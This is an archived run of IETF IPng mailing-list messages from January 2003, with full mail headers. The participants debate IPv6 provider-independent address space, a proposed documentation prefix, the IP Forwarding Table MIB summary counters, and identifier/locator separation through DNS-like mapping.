	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VNx4Qb027814;
	Fri, 31 Jan 2003 15:59:04 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VNx4w0027813;
	Fri, 31 Jan 2003 15:59:04 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VNx0Qb027806
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 15:59:00 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VNx8VL011496
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 15:59:08 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA13680
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 15:59:03 -0800 (PST)
Content-class: urn:content-classes:message
Subject: RE: Enforcing unreachability of site local addresses 
Date: Fri, 31 Jan 2003 15:59:02 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B95@server2000.arneill-py.sacramento.ca.us>
X-MS-Has-Attach: 
X-MimeOLE: Produced By Microsoft Exchange V6.5.6803.0
X-MS-TNEF-Correlator: 
Thread-Topic: Enforcing unreachability of site local addresses 
Thread-Index: AcLJMlLSHPr2Gjd1R3md1qdWuHfO3QAUDxog
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Kurt Erik Lindqvist" <kurtis@kurtis.pp.se>
Cc: "Margaret Wasserman" <mrw@windriver.com>,
   "Erik Nordmark" <Erik.Nordmark@Sun.COM>, <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0VNx0Qb027807
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Kurtis,

> Kurt Erik Lindqvist wrote:
> but even if we in San Fransisco would agree on a new routing model,
> it would still take us at least 3-5 years to implement.
> See the migration to BGP4 as example.

5 years is overly optimistic, IMHO.


> I say go for /48 PI space. Take a /16 (or something suitable) and
> divide it per RIR, and use it as PI space.

This is way too risky. Potentially, 4 billion routes. I agree that we
don't have a problem in the short term. Until we get to 50k routes
nobody cares.

But, doing this would put research efforts to a halt. 10 years down the
road, suddenly we have 500k BGP 4+ and the Internet craps out. I don't
want to be the guy that recommended that we re-create the IPv4 swamp,
because this is exactly what we are talking about.

10 or 15 years ago, we gave away swamp space to anyone that wanted it
because nobody thought that it would ever have a scalability issue. 4
billion /48 prefixes in the global routing table, what do you call this?
I call it IPv6 swamp.

I say: No to the IPv6 swamp.


>> Michel Py wrote:
>> (C) Finally do something about IPv6 multihoming.

> I would rather see (C) Come up with a new "routing" paradigm.

These are not incompatible goals, they are complementary I think.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 16:45:32 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h110jVQb028356;
	Fri, 31 Jan 2003 16:45:31 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h110jV8Z028355;
	Fri, 31 Jan 2003 16:45:31 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h110jRQb028348
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 16:45:28 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h110jaVL025568
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 16:45:36 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA13233
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 16:45:30 -0800 (PST)
Content-class: urn:content-classes:message
Subject: RE: I-D ACTION:draft-ietf-ipv6-unicast-aggr-v2-00.txt
Date: Fri, 31 Jan 2003 16:45:30 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Message-ID: <963621801C6D3E4A9CF454A1972AE8F5B952@server2000.arneill-py.sacramento.ca.us>
X-MS-Has-Attach: 
X-MimeOLE: Produced By Microsoft Exchange V6.5.6803.0
X-MS-TNEF-Correlator: 
Thread-Topic: I-D ACTION:draft-ietf-ipv6-unicast-aggr-v2-00.txt
Thread-Index: AcLJhMpSceSSB/O/Tw2Jlq4Q5j4KAwABkdcQ
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Bob Hinden" <hinden@iprg.nokia.com>
Cc: <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h110jSQb028349
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Bob,

> 3.0 IANA Considerations
> The following prefix is reserved for use in documentation
> and MUST NOT be assigned to any operational IPv6 nodes:
> 2000:0001::/32

I think this could be slightly shorter (/30 or /29 comes to mind, when
documenting multi-LIR setups) but it fits the bill. 


> The specific format of global unicast address under the 2000::/3
> prefix is:
> | 3 |     n bits         | 61-n bits |       64 bits              |
> +---+--------------------+-----------+----------------------------+
> |001|  routing prefix    | subnet ID |       interface ID         |
> +---+--------------------+-----------+----------------------------+

I have a dumb question about this: I read a while ago in some RIR
documents about the "hard boundary" at /64 and the "soft boundary" at
/48. Technically, the subnet ID can have any number of bits, but I
thought we would want to encourage the use of 16 subnet ID bits, which
would make n=45.

I think there could be something such as a recommendation or a should in
the draft.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 16:47:46 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h110ljQb028369;
	Fri, 31 Jan 2003 16:47:45 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h110ljEu028368;
	Fri, 31 Jan 2003 16:47:45 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h110lfQb028361
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 16:47:41 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h110lnVK000976
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 16:47:50 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA03011
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 17:47:42 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id QAA16223;
	Fri, 31 Jan 2003 16:47:41 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id h110lem20020;
	Fri, 31 Jan 2003 16:47:40 -0800
X-mProtect: <200302010047> Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (205.226.9.154, claiming to be "spruce.iprg.nokia.com")
	by darkstar.iprg.nokia.com smtpdQSUZTA; Fri, 31 Jan 2003 16:47:38 PST
Message-Id: <4.3.2.7.2.20030131163516.0270bcd0@mailhost.iprg.nokia.com>
X-Sender: hinden@mailhost.iprg.nokia.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Fri, 31 Jan 2003 16:47:28 -0800
To: Pekka Savola <pekkas@netcore.fi>
From: Bob Hinden <hinden@iprg.nokia.com>
Subject: Re: I-D ACTION:draft-ietf-ipv6-unicast-aggr-v2-00.txt
Cc: ipng@sunroof.eng.sun.com
In-Reply-To: <Pine.LNX.4.44.0302010147470.29064-100000@netcore.fi>
References: <4.3.2.7.2.20030131152153.0298a988@mailhost.iprg.nokia.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Pekka,

> > Thanks.
>
>Oh, btw, in the references too.

At least I was consistent :-)

> > It seemed to me like a convenient place to do it as this was defining the
> > 2000::/3 prefix.  It could be done elsewhere, but hopefully this draft can
> > get through the process quickly.
>
>Well, if one believes this can be done quickly here, no problem.

I was hoping this would be the case.

>But I'm not sure it can.
>
>I, for one, am very adamantly against reserving 2000:0001::/32.  That
>wastes a complete 2000::/16 (if, for some purposes, a whole /16 or first
>parts of it are needed). An extremely bad idea, IMO.  I'd recommend taking
>something from 2001, like 2001:0001::/32 or 2001:FFFF::/32.

I viewed it as opening up the rest of the 2000::/16 prefix for /32 
allocations.  Currently all of 2000::/16 is reserved in

   http://www.iana.org/assignments/ipv6-tla-assignments

I guess it depends on how one looks at it.

>And this kind of "which one is the right block to reserve" discussions
>could delay the other parts of the draft, which was my main motivation for
>keeping it outside of this one.

Lets try to avoid a lengthily discussion on this.  I think the w.g. has 
more pressing issues.  If others have strong feeling on this, I am happy to 
change it.  Or remove it.

> > >5.0 References
> > >
> > >==> split the references.
> >
> > Why?  Most are normative or very static.
>
>Because otherwise the draft will get bounced back when the AD checks for
>ID-nits, and because it's required before it can get to the RFC editor..

For practical purposes they are all normative.  It if helps, I can say that 
in the next version of the draft.

Bob

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 16:55:20 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h110tJQb028528;
	Fri, 31 Jan 2003 16:55:19 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h110tJg0028527;
	Fri, 31 Jan 2003 16:55:19 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h110tFQb028520
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 16:55:15 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h110tNVL028157
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 16:55:23 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA05906
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 17:55:15 -0700 (MST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id TAA25088;
	Fri, 31 Jan 2003 19:55:10 -0500 (EST)
Date: Fri, 31 Jan 2003 19:55:10 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200302010055.TAA25088@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: RE: Enforcing unreachability of site local addresses
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

"Tony Hain" <alh-ietf@tndh.net> wrote:

|Suspend disbelief for a moment, and consider a name resolution service
|where the consumer edge widget was responsible for both tracking
|topology changes, and updating a branch of the name tree to keep it
|aligned. Said widget would need a secure mechanism to graft itself to
|the name tree after an address change, but otherwise might look like a
|typical DNS server. [...]

It's not much of a suspension.  I've been saying for years that exactly
such a mechanism is necessary to push the routing task out to the end
nodes where ample resources will be available.  If it isn't done at some
other level it will have to happen in the DNS.  However, I believe that
the DNS is the wrong place for it.

|Given that as a
|starting point, there is no obvious reason that using name strings as
|the identifier is more difficult than any other approach.

Using name strings may be no more difficult with respect to the implementation
of the name service, but it leverages far less existing code than would a fixed-
length binary identifier.  Consider the advantages of using an identifier that
has exactly the same format as what we currently call an address, i.e., 128
bits.  With translation happening near the bottom of the IP layer, no changes
would be necessary in tcp or in applications.  The problem of tcp connections
(not) surviving renumbering would disappear.  The DNS would work just the way
it is, so no duplicate effort would be required.  With a little care, multi-
homing could be supported.  I suspect that mobile IP would be a lot easier as
well.  In contrast, if we fix the DNS to track the topology, names would have
to replace addresses in tcp control blocks (and packets and many other places)
before we would start to see the aforementioned benefits.

I have proposed a simple, scalable mapping service that is vaguely like the
DNS in structure but whose purpose is to map 128-bit identifiers into 128-bit
locators (where these locators correspond to what we currently use as addresses
and treat more as routes) in a flexible way.  A request to the root of this
mapping service would be of the form, ``tell me about this 128-bit identifier.''
A response would either be a referal to other servers along with a mask to
indicate what other requests should go to that same set of servers or an answer
in the form of a mapping from identifier (with possible wildcard bits indicated
by a mask) to locator (also with possible wildcards to be filled in from the
identifier).  The latter final response is assumed to come from a server under
the control of the owner of the identifier.  Obviously, responses would also
include the usual TTL values and such much as a DNS response does.  The mapping
service actually scales a lot better than the DNS because it can increase the
depth of the tree as necessary by splitting on arbitrary bit fields in the
identifier.  This should be transparent (think unix DBM).

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 17:41:16 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h111fFQb028821;
	Fri, 31 Jan 2003 17:41:16 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h111fFht028820;
	Fri, 31 Jan 2003 17:41:15 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h111fBQb028813
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 17:41:12 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h111fKVK015202
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 17:41:20 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA01148
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 18:41:14 -0700 (MST)
Content-class: urn:content-classes:message
Subject: RE: Enforcing unreachability of site local addresses
Date: Fri, 31 Jan 2003 17:41:14 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B9C@server2000.arneill-py.sacramento.ca.us>
X-MS-Has-Attach: 
X-MimeOLE: Produced By Microsoft Exchange V6.5.6803.0
X-MS-TNEF-Correlator: 
Thread-Topic: Enforcing unreachability of site local addresses
Thread-Index: AcLJbPT+IK1ng4QPTpGO12hHlt5qQAAJH5GA
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Tony Hain" <alh-ietf@tndh.net>
Cc: <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h111fCQb028814
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> Tony Hain wrote:
> Are we wasting a lot of time and energy trying to solve
> the problem in routing, when the real solution lies in a
> complete overhaul of the DNS?

I don't think so, here's the rationale: It is clear that this DNS
overhaul will have to introduce better security and reasonable
convergence times. By doing so, it will inevitably bump into the very
same scalability issues that we have with routing.

This problem is old like the world: How do we get a distributed database
with several hundred million or more rows to converge worldwide in a
matter of seconds. If we solve this problem, it probably won't matter
much if locator mapping is done with DNS or with routing. Today, we're
using routing and until we have clues on how using DNS could be better,
I suggest sticking to it.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 19:12:42 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h113CfQb029409;
	Fri, 31 Jan 2003 19:12:41 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h113CfBB029408;
	Fri, 31 Jan 2003 19:12:41 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h113CcQb029401
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 19:12:38 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h113CkVK006414
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 19:12:46 -0800 (PST)
Received: from mordor.riverstonenet.com (host60.riverstonenet.com [64.95.122.60] (may be forged))
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id UAA17879
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 20:12:40 -0700 (MST)
Received: (qmail 11969 invoked by uid 10041); 1 Feb 2003 03:12:40 -0000
Date: Fri, 31 Jan 2003 19:12:40 -0800
From: Mike MacFaden <mrm@riverstonenet.com>
To: "C. M. Heard" <heard@pobox.com>
Cc: ipng@sunroof.eng.sun.com
Subject: Re: IPv6 w.g. Last Call on "IP Forwarding Table MIB" (1/2)
Message-ID: <20030131191240.T10726@riverstonenet.com>
Mail-Followup-To: "C. M. Heard" <heard@pobox.com>, ipng@sunroof.eng.sun.com
References: <20030131121259.M10726@riverstonenet.com> <Pine.LNX.4.10.10301311233430.15190-100000@shell4.bayarea.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.10.10301311233430.15190-100000@shell4.bayarea.net>; from heard@pobox.com on Fri, Jan 31, 2003 at 01:10:13PM -0800
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Fri, Jan 31, 2003 at 01:10:13PM -0800, C. M. Heard wrote:
>I have long understood that the AgentX folks dislike summary objects
>objects such as ifNumber [RFC1213][RFC2863] that count the number
>of rows in a table where different rows may be in different
>subagents. If the inetCidrRouteTable is likely to be implemented
>in that way, then one can understand the objection to
>inetCidrRouteNumber.  Remember, though, that ipCidrRouteNumber
>[RFC2096] and ipForwardNumber [RFC1354] already exist, and
>ipCidrRouteNumber is deprecated, not obsoleted, in 2096-update.  If
>the consensus is that inetCidrRouteNumber and kin really are not
>useful and are too much of a burden to implement, then I suggest
>that the status of ipCidrRouteNumber be changed to obsolete, and its
>DESCRIPTION clause be updated accordingly (this DESCRIPTION still
>refers to inetCidrRouteNumber, even though it was removed, so it
>needs fixing anyway if inetCidrRouteNumber is not reinstated).
>Having some explanatory text in the narrative part of the document
>to explain that decision would also be good thing.

In this case I don't think this summary counter (ipCidrRouteNumber)
should be discarded in the update. I know of a number of 
2096 implementations and I think this object is frequently 
used and possibly more so than the table itself.

So it is possible the operational burden is greater than the 
implementation burden.

While 2096 might not be universal, I can't think of
any real networking infrastructure gear that doesn't 
support ipCidrRouteTable since CIDR has been in place 
now for many years. All DOCSIS cable modem and head 
end gear have it as well as all router vendors.

Regards,
Mike MacFaden
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 20:07:09 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h11478Qb029656;
	Fri, 31 Jan 2003 20:07:09 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h11478fR029655;
	Fri, 31 Jan 2003 20:07:08 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h11475Qb029648
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 20:07:05 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h1147DVL007237
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 20:07:13 -0800 (PST)
Received: from shell4.bayarea.net (shell4.BAYAREA.NET [209.128.82.1])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id UAA10051
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 20:07:08 -0800 (PST)
Received: from localhost (heard@localhost)
	by shell4.bayarea.net (8.9.3/8.9.3) with ESMTP id UAA24128;
	Fri, 31 Jan 2003 20:07:07 -0800
	(envelope-from heard@pobox.com)
X-Authentication-Warning: shell4.bayarea.net: heard owned process doing -bs
Date: Fri, 31 Jan 2003 20:07:06 -0800 (PST)
From: "C. M. Heard" <heard@pobox.com>
X-Sender: heard@shell4.bayarea.net
To: ipng@sunroof.eng.sun.com
Subject: Re: IPv6 w.g. Last Call on "IP Forwarding Table MIB" (1/2)
In-Reply-To: <20030131191240.T10726@riverstonenet.com>
Message-ID: <Pine.LNX.4.10.10301311944490.19672-100000@shell4.bayarea.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Fri, 31 Jan 2003, Mike MacFaden wrote:
> In this case I don't think this summary counter (ipCidrRouteNumber)
> should be discarded in the update. I know of a number of 
> 2096 implementations and I think this object is frequently 
> used and possibly more so than the table itself.
> 
> So it is possible the operational burden is greater than the 
> implementation burden.

If the to-be-deprecated summary counter ipCidrRouteNumber is
widely used, then it would seem that there is a very strong case
for reinstating the updated summary counter inetCidrRouteNumber
as I initially suggested.

//cmh


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 22:16:52 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h116GpQb029870;
	Fri, 31 Jan 2003 22:16:51 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h116GpLW029869;
	Fri, 31 Jan 2003 22:16:51 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h116GlQb029862
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 22:16:48 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h116GuVL024465
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 22:16:56 -0800 (PST)
Received: from shell.nominum.com (shell.nominum.com [128.177.192.160])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA27061
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 22:16:50 -0800 (PST)
Received: from nominum.com (shell.nominum.com [128.177.192.160])
	by shell.nominum.com (Postfix) with ESMTP
	id AC719137F08; Fri, 31 Jan 2003 22:16:49 -0800 (PST)
Date: Fri, 31 Jan 2003 22:16:45 -0800
Subject: Re: Enforcing unreachability of site local addresses
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v551)
Cc: ipng@sunroof.eng.sun.com
To: Dan Lanciani <ipng-incoming@danlan.com>
From: David Conrad <david.conrad@nominum.com>
In-Reply-To: <200302010055.TAA25088@ss10.danlan.com>
Message-Id: <BD1267BC-35AC-11D7-BA7F-000393DB42B2@nominum.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.551)
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi,

Again, in the vein of willing suspension of disbelief...

On Friday, January 31, 2003, at 04:55  PM, Dan Lanciani wrote:
> Using name strings may be no more difficult with respect to the 
> implementation
> of the name service, but it leverages far less existing code than 
> would a fixed-
> length binary identifier.

Right.

> Consider the advantages of using an identifier that
> has exactly the same format as what we currently call an address, 
> i.e., 128
> bits.

Or, better yet, 64 bits.  Say, the lower 64 bits of a 128 bit value?.

> With translation happening near the bottom of the IP layer, no changes
> would be necessary in tcp or in applications.

No translation would be necessary.

> The problem of tcp connections
> (not) surviving renumbering would disappear.  The DNS would work just 
> the way
> it is, so no duplicate effort would be required.

Yup.

> With a little care, multi-homing could be supported.

Multi-homing would be trivial.

Assume at the end point an address consists of a 64 bit value stuffed 
into the lower 8 bytes of an IPv6 address with the upper 64 bits 0.

The lower 64 bits of the destination would be put into an 
in-addr.arpa-like tree, mapping that end point into multiple AAAAs 
(which have their lower 64 bits set to 0) that correspond to the edge 
routers associated with the multiple paths to the destination.

Packet hits the source edge router for the first time, a DNS lookup 
occurs fetching the multiple locators and caching them.  The edge 
router then bitwise ORs one of the locators (how the locator is chosen 
is left to the reader as an exercise) with the end point address, 
forming a full 128 bit address.  Obviously, you'd want to have the 
source edge router keep the cache entry up to date as long as packets 
are flowing to the destination (e.g., re-fetch at TTL/2 or whatever).

On the receiving end, the destination edge router receives the packet, 
zeros out the top 64 bits of the destination address (thereby avoiding 
NAT nightmares) and forwards the packet on to the destination.

Renumbering thereby becomes merely an exercise in modifying the end 
point 64 bit in-addr.arpa-like entry and waiting for the cache entry to 
time out.

End point identifiers would be non-topologically sensitive and could be 
permanently assigned with absolutely no hierarchy (if desired).  
Locators would still be topologically sensitive, but end users would 
never see them or know about them, thus topology changes can be done 
transparently.

Even more fun:  assume that the first four bytes of the end point 
address aren't used during a transition period and the last four bytes 
encodes (say) an IPv4 address....

> I suspect that mobile IP would be a lot easier as well.

Mobility is a bit trickier due to the DNS security and caching model.  
However, I believe it may be possible with the use of SIG(0) and having 
destination edge routers act as forwarding agents for a TTL.  This bit 
needs more thought...

> In contrast, if we fix the DNS to track the topology, names would have
> to replace addresses in tcp control blocks (and packets and many other 
> places)
> before we would start to see the aforementioned benefits.

Ick.

Rgds,
-drc

--------------------------------------------------------------------
